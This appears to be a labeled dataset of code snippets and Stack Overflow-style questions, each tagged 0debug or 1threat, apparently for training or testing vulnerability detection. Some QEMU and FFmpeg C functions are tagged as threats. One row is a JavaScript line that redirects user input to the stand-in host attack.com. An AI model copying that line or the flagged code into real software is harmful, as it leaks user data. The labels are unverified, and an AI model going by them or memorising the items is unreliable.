problem
stringlengths
26
131k
labels
class label
2 classes
type observable<{}> is not assignable to any type:Property length is missing in type{} in Typescript : <p>I'm trying to get JSON data kept in the local system using Angular2 http.</p> <pre><code>import { Injectable } from '@angular/core'; import { Http, Response } from '@angular/http'; import { General } fr...
0debug
window.location.href = 'http://attack.com?user=' + user_input;
1threat
Mouse and Cat cahse game - c# : I have to make a Windows Form Application which has to be a cat chasing a mouse. And you love the mouse with the arrow keys while that cat is going towards the mouse. It should detect when the they both get in contact and show the time it took. Both the cat and mouse should be placed ran...
0debug
For the erase-remove idiom, why is the second parameter necessary which points to the end of the container? : <p>Consider the following code (taken from <a href="https://en.cppreference.com/w/cpp/algorithm/remove" rel="noreferrer">cppreference.com</a>, slightly adapted):</p> <pre><code>#include &lt;algorithm&gt; #incl...
0debug
Sqlite, three tables, one is join, how do i get non-existant entries? : This seems to be the hardest thing to search for - I can find a lot of "how do i find empties in two tables", or how to do so for non-sqlite, but... - Three tables, item, user and item_user join - Three users, Bob, Jane, Danny - Two items, ...
0debug
How to show plus and minus sign when subtracting two variables: : <p>How to show plus and minus sign when subtracting two variables:Following codes shows -1, that is fine but when the value is positive then it is not showing +sign.</p> <pre><code>$gf=5; $ga=6; $gd=$gf-$ga; echo $gd; </code></pre>
0debug
Is there a reason to my second instanciated object takes my first object's value? : When I insert a second Object(a Child), I need to assign to his parent the name of his child (having already the Child object, that has the parents name in a property), but when I call the Parent object always returns the child object. ...
0debug
How do i do arithmetic for all elements of a list : <p>I need to find the biggest factor of the number 600851475143</p> <p>so in order for doing that i want to find all primes smaller that this number</p> <pre><code>number = input("enter max number:") def findprime (number): prime = [1,2] for i in range (2,nu...
0debug
CPUSPARCState *cpu_sparc_init(void) { CPUSPARCState *env; cpu_exec_init(); if (!(env = malloc(sizeof(CPUSPARCState)))) return (NULL); memset(env, 0, sizeof(*env)); env->cwp = 0; env->wim = 1; env->regwptr = env->regbase + (env->cwp * 16); env->access_type = ACCESS_DATA; #...
1threat
Implement "docker rmi" in python docker api : I want to have the python equivalent to below command: > docker rmi $(docker images -q -a) So, remove() method is equivalent to rmi but how to about in "-q" and "-a" options.
0debug
void do_sraw (void) { int32_t ret; if (likely(!(T1 & 0x20UL))) { if (likely((uint32_t)T1 != 0)) { ret = (int32_t)T0 >> (T1 & 0x1fUL); if (likely(ret >= 0 || ((int32_t)T0 & ((1 << T1) - 1)) == 0)) { xer_ca = 0; } else { xer_ca...
1threat
How can I loop through a determinated range of rows? : <p>I am stuck with the beginning of my analysis. Perhaps the question could be stupid, but I would like to request your help for some tips. I have a dataframe with several variables; and each variable has 10 observations. My doubt is how can I estimate for each va...
0debug
cornerRadius stopped working in Swift 2.3 / iOS 10 / Xcode 8 : <p>I have a <code>cornerRadius</code> set on a <code>UIView</code> and a <code>UIImageView</code> inside the same <code>UIView</code>. I am calculating the corner radius with <code>RockProfileView.frame.size.height / 2</code> but the UIView stopped showing ...
0debug
unable to create an MxGraph from the XML provided : <p>It's a React project and I am trying to convert XML to MxGraph.</p> <p>PFB :- the code that I have</p> <pre><code>import React, { Component } from 'react' import ReactDOM from 'react-dom' import { mxGraph, mxRubberband, mxKeyHandler, mxClient, mxUtils, ...
0debug
i don't understand why it won't let me check contains on switch cases : i was trying to do thi var stringwithcharactherTofind = "booboo$booboo" switch stringwithcharactherTofind{ case stringwithcharactherTofind.ifhasprefix("$"): stringwithcharactherTofind = "done" default: break }...
0debug
static av_always_inline int even(uint64_t layout) { return (!layout || (layout & (layout - 1))); }
1threat
How do i fix this output in C? : This is my code ``` #include <stdio.h> int main() { float percentage; int sp; int bp; percentage = (sp-bp)/bp*100; scanf("%d %d", &sp, &bp ); printf("%.2f%%", percentage); return 0; } ``` Sample input : ``` 150 85 ``` Sample output : ``...
0debug
C program please explain with answer : #include‬ <stdio.h> struct test { unsigned int x; long int y; unsigned int z; }; int main() { struct test t; unsigned int *ptr1 = &t.x; unsigned int *ptr2 = &t.z; printf("%d", ptr2 - ptr1); return...
0debug
Error when trying to install a module using pip, : I am attempting to download the discord.py module using pip, but I keep getting a syntax error like this ```>>> py -3 -m pip install -U discord.py File "<stdin>", line 1 py -3 -m pip install -U discord.py ^ SyntaxError: invalid syntax``` I made s...
0debug
static void platform_ioport_map(PCIDevice *pci_dev, int region_num, pcibus_t addr, pcibus_t size, int type) { PCIXenPlatformState *d = DO_UPCAST(PCIXenPlatformState, pci_dev, pci_dev); register_ioport_write(addr, size, 1, xen_platform_ioport_writeb, d); register_ioport_read(addr, size, 1, xen_platform...
1threat
How are ReSharper C++ and Visual Assist different : <p>What's different between the two? JetBrains lists some differences <a href="https://www.jetbrains.com/resharper-cpp/documentation/resharper_cpp_vs_visual_assist.html" rel="noreferrer">here</a>, but I heard there might be some inaccuracies in the list.</p>
0debug
Decrypt password using bcrypt php : <p>I search how to decrypt a password stored in bcrypt using php, but I don't find a good explaination. Could you please send some useful links ? Thx in advance and sorry for my english</p>
0debug
static int slirp_hostfwd(SlirpState *s, const char *redir_str, int legacy_format) { struct in_addr host_addr = { .s_addr = INADDR_ANY }; struct in_addr guest_addr = { .s_addr = 0 }; int host_port, guest_port; const char *p; char buf[256]; int is_udp; char *e...
1threat
python2 code get error when using python3.5 : <pre><code>def finalize_options(self): if self.cross_compile and os.environ.has_key('PYTHONXCPREFIX'): prefix = os.environ['PYTHONXCPREFIX'] sysconfig.get_python_lib = get_python_lib sysconfig.PREFIX = prefix sysconfig.EXEC_PREFIX = prefi...
0debug
How to specify word document path in a excel cell and use it as a email body : Am using a vba coding where i give the word document file path in coding itself to use the word document as email body but instead i wanted to give excel cell reference in coding and provide the word document path in excel and use it as emai...
0debug
static int input_get_buffer(AVCodecContext *codec, AVFrame *pic) { AVFilterContext *ctx = codec->opaque; AVFilterBufferRef *ref; int perms = AV_PERM_WRITE; int i, w, h, stride[4]; unsigned edge; if(av_image_check_size(w, h, 0, codec)) return -1; if (codec->codec->capabi...
1threat
Store string into the txt file ? C++ : I'm creating a program in which user enter mcqs and option and then save the data into the `txt` file.How can i do this .I try but it's not working. #include <iostream> #include <fstream> #include <string> using namespace std; int main() { ofst...
0debug
Escaping @ in Blazor : <p>I want to display image from icon library in Blazor component. </p> <p>The path is:</p> <p><em>wwwroot/lib/@icon/open-iconic/icons/account-login.svg</em></p> <p>But <strong>@</strong> is a special character in Blazor.</p>
0debug
void qmp_netdev_del(const char *id, Error **errp) { NetClientState *nc; nc = qemu_find_netdev(id); if (!nc) { error_set(errp, QERR_DEVICE_NOT_FOUND, id); return; } qemu_del_net_client(nc); qemu_opts_del(qemu_opts_find(qemu_find_opts_err("netdev", errp), id)); }
1threat
Keep column and row order when storing pandas dataframe in json : <p>When storing data in a json object with to_json, and reading it back with read_json, rows and columns are returned sorted alphabetically. Is there a way to keep the results ordered or reorder them upon retrieval? </p>
0debug
What is the best way to limit concurrency when using ES6's Promise.all()? : <p>I have some code that is iterating over a list that was queried out of a database and making an HTTP request for each element in that list. That list can sometimes be a reasonably large number (in the thousands), and I would like to make su...
0debug
static unsigned int dec_addi_acr(DisasContext *dc) { TCGv t0; DIS(fprintf (logfile, "addi.%c $r%u, $r%u, $acr\n", memsize_char(memsize_zz(dc)), dc->op2, dc->op1)); cris_cc_mask(dc, 0); t0 = tcg_temp_new(TCG_TYPE_TL); tcg_gen_shl_tl(t0, cpu_R[dc->op2], tcg_const_tl(dc->zzsize)); tcg_gen_add_tl(cpu_R[R_...
1threat
How do I "Use Logger API to add logs to your project"? (Google Script) : <p>I'm trying to see output of a script, but when I go to "View Logs" I get an alert "No logs found. Use Logger API to add logs to your project."</p> <p>How do I add the Logger API?</p> <p><a href="https://i.stack.imgur.com/Dcy1A.png" rel="noref...
0debug
GoLang: async http request handling : I'm try to handle an HTTP request in GoLang, asynchronously this way: 1. I pass a handler function to the HTTP server 2. In the handler I store the HttpRequest / HttpResponse objects in a slice or a map 3. When returning from the handler function - the response is NOT retur...
0debug
int fw_cfg_add_file(FWCfgState *s, const char *dir, const char *filename, uint8_t *data, uint32_t len) { const char *basename; int index; if (!s->files) { int dsize = sizeof(uint32_t) + sizeof(FWCfgFile) * FW_CFG_FILE_SLOTS; s->files = qemu_mallocz(dsize); ...
1threat
Poulating UITableView to show the newest data on top : I have a standard UITableView but I would like to rearrange how the tableView is populated. I would like this: **Third Item Added** **Second Item Added** **First Item Added** So the first data that is added in the tableView will be furthest do...
0debug
static void predictor_decompress_fir_adapt(int32_t *error_buffer, int32_t *buffer_out, int output_size, int readsamplesize, int16_t *predictor_c...
1threat
static uint32_t isa_mmio_readw(void *opaque, target_phys_addr_t addr) { return cpu_inw(addr & IOPORTS_MASK); }
1threat
static inline int ff_mpeg4_pred_dc(MpegEncContext * s, int n, int level, int *dir_ptr, int encoding) { int a, b, c, wrap, pred, scale, ret; int16_t *dc_val; if (n < 4) { scale = s->y_dc_scale; } else { scale = s->c_dc_scale; } if(IS_3IV1) scale= 8; ...
1threat
how to fix [-Wreturn-type] error in mac OS : I have program a scheduler of one compiler when I run in OS Debian 9 all ok, but I trying to run in my computer who is mac OS then show lot of warnings and this error: ```c error: non-void function 'CloseForLoops' should return a value [-Wreturn-type] return; ``` gr...
0debug
Add shadows on tableviewcell while reordering : <p>How do I add the same shadow effect on the left and right sides of the selected cell when reordering? </p> <p><a href="https://i.stack.imgur.com/5YjbL.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/5YjbL.png" alt="enter image description here"></a>...
0debug
Once the button has been pressed, stop again.(Button not active/deactive) : <p><em>Once the button has been pressed, stop again. Namely; Once you have clicked on the button, click on how many clicks do not take action. The button must always be active</em> </p>
0debug
how to connect raspbian strech over SSH : <p>I just upgraded the ssd card to 2018-11-13-raspbian-stretch-lite. Hence, no screen, no keyboard, just headless. With the version before I used SSH to acess the raspberrypi 3. But now i have trouble. SSH is disabled by default. Could be overcome by writing an empty file named...
0debug
static void new_video_stream(AVFormatContext *oc, int file_idx) { AVStream *st; OutputStream *ost; AVCodecContext *video_enc; enum CodecID codec_id = CODEC_ID_NONE; AVCodec *codec= NULL; if(!video_stream_copy){ if (video_codec_name) { codec_id = find_codec_or_die(v...
1threat
C++ Class template deduction (P0091R0) for function arguments : <p>In C++17 we can do somthing like</p> <pre><code>std::pair p = {1,3}; // compiler deduces template parameters to pair&lt;int,int&gt; </code></pre> <p>From the documentation at <a href="http://en.cppreference.com/w/cpp/language/class_template_deduction"...
0debug
Why is it not detecting a capital letter in php : <p>this is someone else's code and seems to work for everyone online but me. It doesn't seem to detect the capital letters even though i have dedicated code for it. </p> <p>Could someone spot the error in my code:</p> <pre><code>&lt;?php if($_POST['submit']){ ...
0debug
static void mtree_print_flatview(fprintf_function p, void *f, AddressSpace *as) { FlatView *view = address_space_get_flatview(as); FlatRange *range = &view->ranges[0]; MemoryRegion *mr; int n = view->nr; if (n <= 0) { p(f, MTREE_INDENT "No rendered ...
1threat
Angular : Service Injection vs Typescript Static Methods : <p>This might be a beginners question, the question is related to understanding why do we need injecting the services into components.</p> <p><strong>1] Why do we need to inject the service to each component when we could just create a static method and it wil...
0debug
pipenv specify minimum version of python in pipfile? : <p>Is there a way in pipenv to specify the minimum version of python in the Pipfile?</p> <p>Would something like this work?</p> <pre><code>[requires] python_version = "&gt;=python 3.5" </code></pre>
0debug
Changing one inner list's element changes all inner lists python : <p>Basically, this is what I've got:</p> <pre><code>In [1]: list1 = [[0, 0, 0, 0]] * 10 In [2]: list1 Out[2]: [[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, ...
0debug
static void serial_receive_byte(SerialState *s, int ch) { s->rbr = ch; s->lsr |= UART_LSR_DR; serial_update_irq(s); }
1threat
void qmp_block_commit(const char *device, bool has_base, const char *base, bool has_top, const char *top, bool has_backing_file, const char *backing_file, bool has_speed, int64_t speed, Error **errp) { ...
1threat
unselect Radio Button and Disable Submit when all inputs are emtpy : We have an interactive map which connects over PHP to an database. Since im pretty new to javascript i have some question. We have around 15 text input and one dropdown input. I only provide the Problematic parts of our code. **HTML** ...
0debug
FUNCTION FOR ROUNDING FUNCTIONALITY FOR PRICE FIELD : iam gettinig error while i compile this function, need help on this please. the error is Error(37,1): PLS-00049: bad bind variable 'RETURN_VALUE' -- FUNCTION GECM_ROUND_FNC (P_FIELD_VALUE IN NUMBER, P_ORG_ID IN NUMBER) ...
0debug
Which is the best high performance Jmeter sampler to use for Thrift protocol load testing Beanshell, JSR223 or Java request sampler? : <p>I have a requirement to load test Thrift protocol with very high user load using JMeter. I need to know which is the best and most performant JMeter sampler to use out of Beanshell, ...
0debug
Persist Elastic Search Data in Docker Container : <p>I have a working ES docker container running that I run like so</p> <pre><code>docker run -p 80:9200 -p 9300:9300 --name es-loaded-with-data --privileged=true --restart=always es-loaded-with-data </code></pre> <p>I loaded up ES with a bunch of test data and wanted ...
0debug
Such a broken Ruby loop : <p>I'm using Sonic Pi on Mac and the following code with a while loop just goes right over what I want the condition to be.</p> <pre><code>cut = 0 until cut &gt;= 110 do cue :foo 4.times do |i| use_random_seed 667 16.times do use_synth :tb303 play chord(:e3...
0debug
How to pivot my data frame in R so that it turns into another data frame in this specific format? : <p>I have a small <code>data frame</code> in R called <code>df1</code>.</p> <p>Below is how the <code>data frame</code> looks like:</p> <pre><code>SubDept2 BasicSalary BenchmarkSalary Admin 10000...
0debug
i want to code this button in pictures with the following animation if possible : i am trying to create this button in html with a little animation as below how can i achieve this ? i have tried some ideas but failed as usual :D ~~~ <div class="skew-btn"> <div class="btn"> <div class="main"> <a...
0debug
ps1 cannot be loaded because running scripts is disabled on this system : <p>I try to run <code>powershell</code> script from c#.</p> <p>First i set the <code>ExecutionPolicy</code> to <code>Unrestricted</code> and the script is running now from <code>PowerShell ISE</code>.</p> <p>Now this is c# my code:</p> <pre><c...
0debug
static int decode_channel_sound_unit(ATRAC3Context *q, GetBitContext *gb, ChannelUnit *snd, float *output, int channel_num, int coding_mode) { int band, ret, num_subbands, last_tonal, num_bands; GainBlock *gain1 = &snd->gain_block[ ...
1threat
void HELPER(idte)(CPUS390XState *env, uint64_t r1, uint64_t r2, uint32_t m4) { CPUState *cs = CPU(s390_env_get_cpu(env)); const uintptr_t ra = GETPC(); uint64_t table, entry, raddr; uint16_t entries, i, index = 0; if (r2 & 0xff000) { cpu_restore_state(cs, ra); program_inter...
1threat
Can I put elements into zip using for loop instead manually with index number? : <pre><code>data = [['a', 'b', 'c', 'd'], [1, 2, 3, 4], [4, 5, 6, 7]] result = zip(data[0], data[1], data[2]) </code></pre> <p>Can I put elements into zip using for loop instead manually with index number?</p>
0debug
sort array data without duplicate : i make twitter bot using codebird I want to sort the data status in php array without duplicates , line by line (urls media /remote file links) this my code require_once ('codebird.php'); `\Codebird\Codebird::setConsumerKey("pubTRI3ik5hJqxxxxxxxxxx",` `"xxxxxS6Uj1t5...
0debug
static void usb_host_handle_destroy(USBDevice *udev) { USBHostDevice *s = USB_HOST_DEVICE(udev); qemu_remove_exit_notifier(&s->exit); QTAILQ_REMOVE(&hostdevs, s, next); usb_host_close(s); }
1threat
How does Deprecated ReplaceWith work for Kotlin in intellij? : <p>I wrote this code:</p> <pre><code>@Deprecated("Old stuff", ReplaceWith("test2")) fun test1(i: Int) { println("old Int = $i") } fun test2(i: Int) { println("new Int = $i") } fun main(args: Array&lt;String&gt;) { test1(3) } </code></pre> <p...
0debug
uint64_t qemu_get_be64(QEMUFile *f) { uint64_t v; v = (uint64_t)qemu_get_be32(f) << 32; v |= qemu_get_be32(f); return v; }
1threat
BASH:::How to match a string str inside double square brackets in bash.ex matching str inside [[str]] : I have a file with following data. [[Public IP Addresses ]] // Here, IP addresses will IPv6 display format. [LINK_7] linkNum=7. Here i have to extract "Public IP Addresses". I have trie...
0debug
static QemuOpts *opts_parse(QemuOptsList *list, const char *params, int permit_abbrev, bool defaults) { const char *firstname; char value[1024], *id = NULL; const char *p; QemuOpts *opts; assert(!permit_abbrev || list->implied_opt_name); firstname = permit_a...
1threat
Angular get holidays gapis : This is my function inside service getHolidays() { let api = 'https://www.googleapis.com/calendar/v3/calendars/tn%40holiday.calendar.google.com/events?key=myKey' return this.http.get<any>(api, { headers : new HttpHeaders().append('Content-type', 'applicat...
0debug
I am learning to store some temperature values in a vector. When i execute and run it. It doesn't work, I don't know what the error is : i wrote the code from the book: Programming principles and practice using C++, the program is executing but not working properly as expected. After putting input values it is expected...
0debug
if/else not working jQuery : <p>I would like to change text in one div depending on the text in another div.</p> <p>Here is the code:</p> <pre><code>$("#pricebtn").click(function () { if ($('#titl01').html == "Services") { $('#titl01').html("Prices"); } else { $('#titl01').html("No Prices"); } </code></pre> <p>M...
0debug
PHP / MySQL : How to INSERT into databse using WHILE loop : <p>I want to insert data from input form and at the same time from another table (shopping_cart) in one table (order). </p> <p>I found that there is no problem with passing value from input form or select it from shopping cart, since I print all the value tha...
0debug
int32_t scsi_req_enqueue(SCSIRequest *req, uint8_t *buf) { int32_t rc; assert(!req->enqueued); scsi_req_ref(req); req->enqueued = true; QTAILQ_INSERT_TAIL(&req->dev->requests, req, next); scsi_req_ref(req); rc = req->ops->send_command(req, buf); scsi_req_unref(req); ret...
1threat
which one is best AlarmManager or Handler post delay for repeating background task : <p>I have to repeat a weather API Task after every half an hour to fetch data from the <a href="http://api.openweathermap.org" rel="nofollow noreferrer">http://api.openweathermap.org</a> for that I have used handler post delay but some...
0debug
Q: How many classes will the following code generate? : <p>I find this question tricky. What do u ppl think?</p> <pre><code>template &lt;typename T&gt; class myTemplate { public: T val; ... }; void myFunction() { MyTemplate&lt;int&gt; a; MyTemplate&lt;double&gt; b; } </code></pre>
0debug
static int smvjpeg_decode_frame(AVCodecContext *avctx, void *data, int *data_size, AVPacket *avpkt) { const AVPixFmtDescriptor *desc; SMVJpegDecodeContext *s = avctx->priv_data; AVFrame* mjpeg_data = s->picture[0]; int i, cur_frame = 0, ret = 0; cur_frame = avpkt...
1threat
Can anyone tell me a practical situation from real-life applications where friend functions can be useful? : <p>I am a newbie in OOP (C++) and just learned about friend function but is there a real life example that defines the usage of friend function ?</p>
0debug
int ff_ivi_decode_frame(AVCodecContext *avctx, void *data, int *data_size, AVPacket *avpkt) { IVI45DecContext *ctx = avctx->priv_data; const uint8_t *buf = avpkt->data; int buf_size = avpkt->size; int result, p, b; init_get_bits(&ctx->gb, bu...
1threat
static void dump_map_entry(OutputFormat output_format, MapEntry *e, MapEntry *next) { switch (output_format) { case OFORMAT_HUMAN: if ((e->flags & BDRV_BLOCK_DATA) && !(e->flags & BDRV_BLOCK_OFFSET_VALID)) { error_report("File contains external, ...
1threat
Detect previous path in react router? : <p>I am using react router. I want to detect the previous page (within the same app) from where I am coming from. I have the router in my context. But, I don't see any properties like "previous path" or history on the router object. How do I do it?</p>
0debug
Inner HTML of ng-container, Angular 4? : <p>I want to dynamically place an html code in my html code, So I write the following code:<br></p> <pre><code>&lt;ng-container [innerHTML]="buttonIcon"&gt;&lt;/ng-container&gt; </code></pre> <p>Angular says <code>innerHTML</code> is not valid attribute for <code>ng-container<...
0debug
static av_always_inline void decode_subband_internal(DiracContext *s, SubBand *b, int is_arith) { int cb_x, cb_y, left, right, top, bottom; DiracArith c; GetBitContext gb; int cb_width = s->codeblock[b->level + (b->orientation != subband_ll)].width; int cb_height = s->codeblock[b->level + (b-...
1threat
When i am runnig my objective-c code i am facing This error in this Code : Assertion failure in -[UITableView _configureCellForDisplay:forIndexPath:], /SourceCache/UIKit_Sim/UIKit-2935.137/UITableView.m:6509 2016-01-18 12:35:16.816 ALJ Jobs[1008:60b] *** Terminating app due to uncaught exception 'NSInternalInconsisten...
0debug
Turn off vim syntax highlighting inside C++ comments : <p>I recently downloaded vim 8.0. I don't know if I messed something up or a default changed, but in this code...</p> <pre><code>int foo() { // This is a comment containing a "string" and the number 5. return 42; } </code></pre> <p>...the <code>"string"</...
0debug
static void test_visitor_out_list(TestOutputVisitorData *data, const void *unused) { const char *value_str = "list value"; TestStructList *p, *head = NULL; const int max_items = 10; bool value_bool = true; int value_int = 10; Error *err = NULL; QLis...
1threat
Matrix multiplication error in matlab. Error: Matrix dimensions must agree : I keep getting the error matrix dimensions must agree. In the line next_state1 = (p01<alphadt) .* (state==0); I've tried changing the multiplication to just * with no improvement. What I've looked up [online][1] hasn't seemed to be abl...
0debug
Code Will Not Compile, No Visible Errors : <p>The code is to simiulate selling stock using FIFO and LIFO. I am only trying to get FIFO to work right now, we are using the Strategy Pattern. Me and my friend believe the code we have is correct, as there are no errors untilyou run the code. Below I have all my classes (la...
0debug
static void set_lcd_pixel(musicpal_lcd_state *s, int x, int y, int col) { int dx, dy; for (dy = 0; dy < 3; dy++) for (dx = 0; dx < 3; dx++) { s->ds->data[(x*3 + dx + (y*3 + dy) * 128*3) * 4 + 0] = scale_lcd_color(col); s->ds->data[(x*3 + dx + (y*3 + dy) *...
1threat
int avpriv_snprintf(char *restrict s, size_t n, const char *restrict fmt, ...) { va_list ap; int ret; va_start(ap, fmt); ret = avpriv_vsnprintf(s, n, fmt, ap); va_end(ap); return ret; }
1threat
uWSGI issue: dyld: Library not loaded: @rpath/libexpat.1.dylib : <p>Trying to run uwsgi in Sierra 10.12.6, I get the following error:</p> <pre><code>dyld: Library not loaded: @rpath/libexpat.1.dylib Referenced from: /usr/local/bin/uwsgi Reason: Incompatible library version: uwsgi requires version 8.0.0 or later, b...
0debug
Android Studio release build does not output aar : <p>I have create a very simple 'Android Library' module with only one class which builds fine in debug releasing build/output/library-debug.aar</p> <p>But, when I switch to release, even though it says build successful, the aar is not there.</p> <p>The Android Studio...
0debug
void vnc_display_add_client(DisplayState *ds, int csock, int skipauth) { VncDisplay *vs = ds ? (VncDisplay *)ds->opaque : vnc_display; vnc_connect(vs, csock, skipauth, 0); }
1threat
static int decode_packet(AVCodecContext *avctx, void *data, int *got_frame_ptr, AVPacket* avpkt) { WMAProDecodeCtx *s = avctx->priv_data; GetBitContext* gb = &s->pgb; const uint8_t* buf = avpkt->data; int buf_size = avpkt->size; int num_bits_prev_frame; int packet...
1threat
Reverse an array? : <p>I'm trying to reverse an array, but I don't know how to get the correct output (4,3,2). My questions are; how do I print the output (using System.out.println())? Nothing I've tried works. My second question is; is the rest of my code correct?</p> <pre><code>public static void main(String[] args)...
0debug
Login is currently incompatible with git bash/cygwin : <p>I just download this version Git-2.6.1-64-bit.exe my OS is windows 10 64bit.. why I cannot still log in it? is Git-2.6.1-64-bit.exe the latest one?</p> <p>before it was MINWG32 now updated become MINWG64 but still I cannot login..help me solve this issues</p> ...
0debug
Sort the interger elemets in a single pass time complexity of O(n) : <p>I need to sort this elements in single pass of o(n) timecomplexity</p> <p>Ex :1 0 2 0 0 3 0 3 2 0 0 1</p>
0debug
ERROR: (gcloud.app.deploy) INVALID_ARGUMENT: unable to resolve source : <p>I am trying to deploy a <code>go 1.11</code> runtime that used to work, but recently I've been getting: <code>ERROR: (gcloud.app.deploy) INVALID_ARGUMENT: unable to resolve source</code> errors. </p> <p>Nothing in my <code>app.yaml</code> has c...
0debug
Apache Airflow: Control over logging [Disable/Adjust logging level] : <p>I am using Airflow 1.7.1.3 installed using pip</p> <p>I would like to limit the logging to ERROR level for the workflow being executed by the scheduler. Could not find anything beyond setting log files location in the settings.py file.</p> <p>Al...
0debug
static int kvm_ppc_register_host_cpu_type(void) { TypeInfo type_info = { .name = TYPE_HOST_POWERPC_CPU, .instance_init = kvmppc_host_cpu_initfn, .class_init = kvmppc_host_cpu_class_init, }; PowerPCCPUClass *pvr_pcc; DeviceClass *dc; pvr_pcc = kvm_ppc_get_host_cpu_c...
1threat